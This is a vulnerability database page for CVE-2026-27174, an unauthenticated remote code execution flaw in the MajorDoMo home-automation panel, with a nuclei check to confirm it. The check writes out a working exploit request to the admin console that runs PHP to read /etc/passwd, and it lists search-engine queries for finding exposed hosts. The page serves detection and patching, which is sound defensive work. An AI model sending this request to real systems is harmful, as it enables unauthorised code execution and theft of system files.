Browse / CVEs / CVE-2026-27174
CVE-2026-27174· sergejey / majordomo· CWE-94
MajorDoMo - Unauthenticated RCE
criticalseverity
10CVSS score
6.9%likelihood of exploitation, next 30 days
94%of all CVEs are less likely
Readycheck to confirm it
MajorDoMo contains a remote code execution caused by an include order bug and lack of exit after redirect in admin panel's PHP console, letting unauthenticated attackers execute arbitrary PHP code via crafted GET requests.
Impact
Unauthenticated attackers can execute arbitrary PHP code remotely, potentially leading to full system compromise.
Fix
Update to the latest version with the fix for the include order bug and proper exit after redirect.
How to confirm it
Send: GET /
Positive when: status_code == 200 and contains_all(body, 'MajordomoSL', 'templates/application.html', 'majordomo')
Send: GET /admin.php?ajax_panel=1&op=console&command=echo+file_get_contents%28%27%2Fetc%2Fpasswd%27%29%3B
Positive when: matches /root:[x*]:0:0:/ AND status 200Run it with nuclei: nuclei -id CVE-2026-27174 -u <target>
The full check
id: CVE-2026-27174
info:
name: MajorDoMo - Unauthenticated RCE
author: 0x_Akoko
severity: critical
description: |
MajorDoMo contains a remote code execution caused by an include order bug and lack of exit after redirect in admin panel's PHP console, letting unauthenticated attackers execute arbitrary PHP code via crafted GET requests.
impact: |
Unauthenticated attackers can execute arbitrary PHP code remotely, potentially leading to full system compromise.
remediation: |
Update to the latest version with the fix for the include order bug and proper exit after redirect.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2026-27174
- https://github.com/sergejey/majordomo/issues/1177
- https://chocapikk.com/posts/2026/majordomo-revisited
- https://www.vulncheck.com/advisories/majordomo-unauthenticated-remote-code-execution-via-admin-console-eval
classification:
cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
cvss-score: 10.0
cve-id: CVE-2026-27174
epss-score: 0.06853
epss-percentile: 0.94092
cwe-id: CWE-94
cpe: cpe:2.3:a:sergejey:majordomo:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: sergejey
product: majordomo
fofa-query: body="templates/application.html"
shodan-query: http.html:"templates/application.html"
tags: cve,cve2026,rce,majordomo,php,unauth,vkev
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "contains_all(body, 'MajordomoSL', 'templates/application.html', 'majordomo')"
condition: and
internal: true
- raw:
- |
GET /admin.php?ajax_panel=1&op=console&command=echo+file_get_contents%28%27%2Fetc%2Fpasswd%27%29%3B HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:[x*]:0:0:"
- type: status
status:
- 200References
- https://nvd.nist.gov/vuln/detail/CVE-2026-27174
- https://github.com/sergejey/majordomo/issues/1177
- https://chocapikk.com/posts/2026/majordomo-revisited
- https://www.vulncheck.com/advisories/majordomo-unauthenticated-remote-code-execution-via-admin-console-eval
Use this check only on systems you are authorised to test. Where the data comes from